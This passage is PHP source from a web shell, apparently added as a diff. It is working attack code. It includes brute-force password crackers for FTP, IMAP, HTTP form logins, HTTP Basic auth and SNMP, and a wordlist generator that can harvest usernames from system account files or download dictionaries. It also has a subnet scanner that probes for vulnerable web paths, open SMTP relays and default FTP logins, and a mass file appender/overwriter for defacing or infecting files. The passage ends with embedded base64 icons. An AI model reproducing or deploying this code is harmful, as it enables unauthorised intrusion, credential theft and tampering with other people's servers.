"; + +} +if ($act == "ftp") +{ +global $errorbox,$t,$et,$crack; +if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et"; +else{ +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "Cracking ".htmlspecialchars($target)."...
"; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;} +if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass
";if(!$type)break;} +ftp_close($ftp); +flusheR(); +} +echo "
Done
"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +else +{ +echo "
FTP cracker:$crack
"; +} +echo "
FTP cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
"; + +} +} + +if ($act == "imap") +{ +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$imap=imaplogiN($target,$user,$pass); +if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{ +if ($imap){echo "U: $user P: $pass
";if(!$type)break;}} +flusheR(); +} +echo "
Done
"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else +{ +echo "
IMAP cracker:$crack
"; +} +print ('
IMAP cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
'); + +} + +if ($act == "dic") +{ +global $errorbox,$windows,$footer,$t,$et,$hcwd; +if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0; +if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ +$min = $_REQUEST['min']; +$max = $_REQUEST['max']; +if($max<$min)die($errorbox ."Bad input!$et". $footer); +$s =$w=""; +$out = $_REQUEST['output']; +$r = ($_REQUEST['range']=='a' )?'a':'A'; +if ($_REQUEST['range']==0) $r=0; +for($i=0;$i<$min;$i++) $s.=$r; +$dic = fopen($out,'a'); +if(is_nan($r)){ +while(strlen($s)<=$max){ +$w = $s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +$s++;} +} +else{ +while(strlen($w)<=$max){ +$w =(string)str_repeat("0",($min - strlen($s))).$s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +$s++;} +} +fclose($dic); +echo "Done"; +} +if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ +$input=fopen($_REQUEST['input'],'r'); +if (!$input){ +if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et
"; +else{ +$input=explode("\n",shelL("cat $input")); +$output=fopen($_REQUEST['output'],'w'); +if ($output){ +foreach ($input as $in){ +$user = $in; +$user = trim(fgets($in)," \n\r"); +if (!strstr($user,":"))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo "Done"; +} +} +} +else{ +$output=fopen($_REQUEST['output'],'w'); +if ($output){ +while (!feof($input)){ +$user = trim(fgets($input)," \n\r"); +if (!strstr($user,":"))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo "Done"; +} +else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et
"; +} +}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ +$res=downloadiT($_REQUEST['url'],$_REQUEST['output']); +if($combo && $res){ +$file=file($_REQUEST['output']); +$output=fopen($_REQUEST['output'],'w'); +foreach ($file as $v)fwrite($output,"$v:$v\n"); +fclose($output); +} +echo "Done"; +}else{ +$temp=whereistmP(); +echo "
+ + +
+Wordlist generator: + + + + + + + + + + +
Range: + +
Min lenght: + +
Max lenght: + +
Output:
Combo style output
$hcwd
+
+Grab dictionary: + + + + + + + + +
Grab from:
Output:
Combo style output
$hcwd
+
+Download dictionary: + + + +
URL:
Output:
Combo style output
$hcwd
+
+
";} +} + +if ($act == "htmlform") +{ +global $errorbox,$footer,$et,$hcwd; +if(!empty($_REQUEST['start'])){ +$url=$_REQUEST['target']; +$uf=$_REQUEST['userf']; +$pf=$_REQUEST['passf']; +$sf=$_REQUEST['submitf']; +$sv=$_REQUEST['submitv']; +$method=$_REQUEST['method']; +$fail=$_REQUEST['fail']; +$dic=$_REQUEST['dictionary']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer"); +$dictionary=fopen($dic,'r'); +echo "Cracking started...
"; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$url.="?$uf=$user&$pf=$pass&$sf=$sv"; +$res=check_urL($url,$method,$fail,12); +if (!$res){echo "U: $user P: $pass
";flusheR();if(!$type)break;} +flusheR(); +} +fclose($dictionary); +echo "Done!

"; +} +else echo "
HTTP Form cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:$hcwd
Action Page:
Method:
Username field name:
Password field name:
Submit name:
Submit value:
Fail string:
"; +} + +if ($act == "basicauth") +{ +global $errorbox,$et,$t,$crack,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$data=''; +$method=($_REQUEST['method'])?'POST':'GET'; +if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} +spliturL($_REQUEST['target'],$host,$page); +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +if($method='GET')$page.=$data; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +echo ""; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$so=fsockopen($host,80,$en,$es,5); +if(!$so){echo "$errorbox Can not connect to host$et";break;} +else{ +$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); +if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data); +$packet.="\r\n\r\n"; +$packet.=$data; +fputs($so,$packet); +$res=substr(fgets($so),9,2); +fclose($so); +if($res=='20')echo "U: $user P: $pass
"; +flusheR(); +} +} +echo "Done!
"; +}else echo "
+HTTP Auth cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
$hcwd
"; +} + +if ($act == "snmp") +{ +global $t,$et,$errorbox,$crack,$hcwd; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "Cracking ".htmlspecialchars($target)."...
";flusheR(); +while(!feof($dictionary)){ +$com=trim(fgets($dictionary)," \n\r"); +$res=snmpchecK($target,$com,2); +if($res)echo "$com
"; +flusheR(); +} +echo "
Done
"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} + echo "
SNMP cracker:$hcwd
Dictionary:
Server:
"; +} + + + +if ($act == "scanner") +{ +global $hcwd; +if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1"; +$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; +if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ +$target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0; +echo "Port scanning started against ".htmlspecialchars($target).":
"; +$start=time(); +for($i=$from;$i<=$to;$i++){ +if($tcp){ +if (checkthisporT($target,$i,$timeout)){ +$nu++; +$ser=""; +if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")"; +echo "$nu) $i $ser (Connect) [TCP]
"; +} +} +if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]
";} +flusheR(); +} +$time=time()-$start; +echo "Done! ($time seconds)
"; +} +elseif (!empty($_REQUEST['securityscanner'])){ +echo ""; +$start=time(); +$from=$_REQUEST['from']; +$to=(int)$_REQUEST['to']; +$timeout=(int)$_REQUEST['timeout']; +$f = substr($from,strrpos($from,".")+1); +$from = substr($from,0,strrpos($from,".")); +if(!empty($_REQUEST['httpscanner'])){ +echo "Loading webserver bug list..."; +flusheR(); +$buglist=whereistmP().DIRECTORY_SEPARATOR.namE(); +$dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); +if($dl){$file=file($buglist);echo "Done! scanning started.

";}else echo "Failed!!! scanning started without webserver security testing...

"; +flusheR(); +}else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:

";} +for($i=$f;$i<=$to;$i++){ +$output=0; +$ip="$from.$i"; +if(!empty($_REQUEST['nslookup'])){ +$hn=gethostbyaddr($ip); +if($hn!=$ip)echo "$ip [$hn]
";} +flusheR(); +if(!empty($_REQUEST['ipscanner'])){ +$port=$_REQUEST['port']; +if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port; +$open=$ser=""; +foreach($p as $po){ +$scan=checkthisporT($ip,$po,$timeout); +if ($scan){ +$ser=""; +if($ser=getservbyport($po,"tcp"))$ser="($ser)"; +$open.=" $po$ser "; +} +} +if($open){echo "$ip) Open ports:$open
";$output=1;} +flusheR(); +} +if(!empty($_REQUEST['httpbanner'])){ +$res=get_sw_namE($ip,$timeout); +if($res){ +echo "$ip) Webserver software: "; +if($res==-1)echo "Unknow"; +else echo $res; +echo "
"; +$output=1; +} +flusheR(); +} +if(!empty($_REQUEST['httpscanner'])){ +if(checkthisporT($ip,80,$timeout) && !empty($file)){ +$admin=array('/admin/','/adm/'); +$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); +$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); +$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); +foreach ($file as $v){ +$vuln=array(); +$v=trim($v); +if(!$v || $v{0}=='#')continue; +$v=str_replace('","','^',$v); +$v=str_replace('"','',$v); +$vuln=explode('^',$v); +$page=$cqich=$nukech=$adminch=$userch=$vuln[1]; +if(strstr($page,'@CGIDIRS')) +foreach($cgi as $cg){ +$cqich=str_replace('@CGIDIRS',$cg,$page); +$url="http://$ip$cqich"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} +flusheR(); +} +elseif(strstr($page,'@ADMINDIRS')) +foreach ($admin as $cg){ +$adminch=str_replace('@ADMINDIRS',$cg,$page); +$url="http://$ip$adminch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} +flusheR(); +} +elseif(strstr($page,'@USERS')) +foreach ($users as $cg){ +$userch=str_replace('@USERS',$cg,$page); +$url="http://$ip$userch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} +flusheR(); +} +elseif(strstr($page,'@NUKE')) +foreach ($nuke as $cg){ +$nukech=str_replace('@NUKE',$cg,$page); +$url="http://$ip$nukech"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} +flusheR(); +} +else{ +$url="http://$ip$page"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
";} +flusheR(); +} +} +} +} +if(!empty($_REQUEST['smtprelay'])){ +if(checkthisporT($ip,25,$timeout)){ +$res=''; +$res=checksmtP($ip,$timeout); +if($res==1){echo "$ip) SMTP relay found.
";$output=1;}flusheR(); +} +} +if(!empty($_REQUEST['snmpscanner'])){ +if(checkthisporT($ip,161,$timeout,1)){ +$com=$_REQUEST['com']; +$coms=$res=""; +if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com; +foreach ($c as $v){ +$ret=snmpchecK($ip,$v,$timeout); +if($ret)$coms .=" $v "; +} +if ($coms!=""){echo "$ip) SNMP FOUND: $coms
";$output=1;} +flusheR(); +} +} +if(!empty($_REQUEST['ftpscanner'])){ +if(checkthisporT($ip,21,$timeout)){ +$usps=explode(',',$_REQUEST['userpass']); +foreach ($usps as $v){ +$user=substr($v,0,strpos($v,':')); +$pass=substr($v,strpos($v,':')+1); +if($pass=='[BLANK]')$pass=''; +$ftp=@ftp_connect($ip,21,$timeout); +if ($ftp){ +if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) $ip System type: ".ftp_systype($ftp)."
";} +} +flusheR(); +} +} +} +if($output)echo "
"; +flusheR(); +} +$time=time()-$start; +echo "Done! ($time seconds)
"; +if(!empty($buglist))unlink($buglist); +} +else{ +$chbox=(extension_loaded('sockets'))?"TCPUDP":""; +echo "

Port scanner:
Target:
From:
To:
Timeout:
$chbox$hcwd
"; +$host = substr($host,0,strrpos($host,".")); +echo "
security scanner:
From: NS lookup
To:xxx.xxx.xxx.$hcwd
Timeout:
Port scanner:
Get web bannerWebserver security scanning   SMTP relay check
FTP password:
SNMP:

"; +} +} + +if ($act == "masscode") +{ +if(isset($_POST['dir']) && + $_POST['dir'] != '' && + isset($_POST['filetype']) && + $_POST['filetype'] != '' && + isset($_POST['mode']) && + $_POST['mode'] != '' && + isset($_POST['message']) && + $_POST['message'] != '' + ) + { + $dir = $_POST['dir']; + $filetype = $_POST['filetype']; + $message = $_POST['message']; + + $mode = "a"; //default mode + + + // Modes Begin + + if($_POST['mode'] == 'Apender') + { + $mode = "a"; + } + if($_POST['mode'] == 'Overwriter') + { + $mode = "w"; + } + + if($handle = opendir($dir)) + { + ?> + Overwritten Files :- +
    + +
  • ">
  • + Permission Denied

    "; break; + fwrite($fd,$message); + } + } + ?> +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Directory + + +
+ Mode + + +
+ File Type + + +
+ +
+ +
+ + +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". + +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", + +"back"=> + +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". + +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". + +"Wg0JADs=", + +"buffer"=> + +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". + +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". + +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", + +"change"=> + +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". + +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". + +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". + +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". + +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". + +"zMshADs=", + +"delete"=> + +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". + +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". + +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". + +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". + +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". + +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". + +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". + +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". + +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", + +"download"=> + +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". + +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", + +"forward"=> + +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". + +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". + +"WqsJADs=", + +"home"=> + +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". + +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". + +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", + +"mode"=> + +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". + +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". + +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", + +"refresh"=> + +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". + +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". + +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". + +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", + +"search"=> + +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". + +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". + +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". + +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". + +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", + +"setup"=> + +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". + +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". + +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". + +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". + +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", + +"small_dir"=> + +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". + +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", + +"small_unk"=> + +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". + +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". + +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". + +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". + +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". + +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". + +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". + +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". + +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". + +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". + +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". + +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". + +"yAsokBkQADs=", + +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". + +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", + +"sort_asc"=> + +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". + +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", + +"sort_desc"=> + +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". + +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", + +"sql_button_drop"=> + +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". + +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". + +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". + +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". + +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". + +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". + +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". + +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". + +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". + +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". + +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". + +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". + +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". + +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". + +"AQEAOw==", + +"sql_button_empty"=> + 